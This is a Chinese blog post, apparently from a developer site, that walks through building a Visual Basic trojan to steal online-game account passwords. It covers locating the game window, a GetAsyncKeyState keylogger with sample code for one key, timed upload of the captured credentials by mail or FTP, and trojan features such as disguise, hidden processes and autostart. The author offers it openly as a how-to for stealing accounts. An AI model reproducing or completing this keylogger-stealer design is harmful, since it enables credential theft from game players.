VB全局HOOK写游戏盗号木马

思路:
1、用spy++工具获取目标游戏窗体句
2、使用timer控件检测句柄是否为当前窗口
3、帐号密码获取:使用全局HOOK键盘记录
4、发送....(这步方法很多,也是最难的一部分,本人采用winsock控件实现的,这里不详细说了,嘿嘿怕你做出木马,说是我教的)
现在详细说下每步:
1、不多说了,使用visual studio自带的工具,幼儿园操作。
2、也不说了,用到几个API函数(GetForegroundWindow、 FindWindow、 GetWindowTextLength、GetForegroundWindow) 啊?怎么做? 自己查API字典去,里面说的很清楚。
3、其实也不是获取,只是开启游戏后用一个if语句判断是否检测到目标游戏,如果是则启动键盘记。
至于键盘记录:使用API(GetAsyncKeyState //也许用GetKeyState速度会快些)实现,再新建一个timer控件,在里面写入所有键值判断语句,例:

'键a---------------------------------------------------------------------------------------------------------------------------------- 
dim pkey as long '定义一个key 
pkey = GetAsyncKeyState(vbKeyA) 
If (pkey And &H1) = &H1 Then '键是否按下 
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then '大小写判断的方法!!! 
a.Text = a.Text + "A" 
End If 
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then 
a.Text = a.Text + "a" 
End If 
End If
'---------------------------------------------------------------------------------------------------------------------------------------- 

'.................额,漫长的代码开始了.........
当然同样差不多的方法你可以获取capslock和shift的状态....由于篇幅不详细写了
最后些一个定时上传,同样使用timer控件里面写入发送程序...发送有很多方法...邮件\FTP\.........
至于那些使用密保卡的帐号,暂时还没有办法.....考虑中
当然一个木马,还有其他部分,这里不说了,比如路径,欺骗性,进程,开机启动........等等(看你怎么想做什么样的)
谢谢,共享心得完毕,希望对你学习有帮助...个人觉得还是用C++写好,唉恨铁不成钢啊,有想法欢迎留言讨论,或联系本QQ!!365130596

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值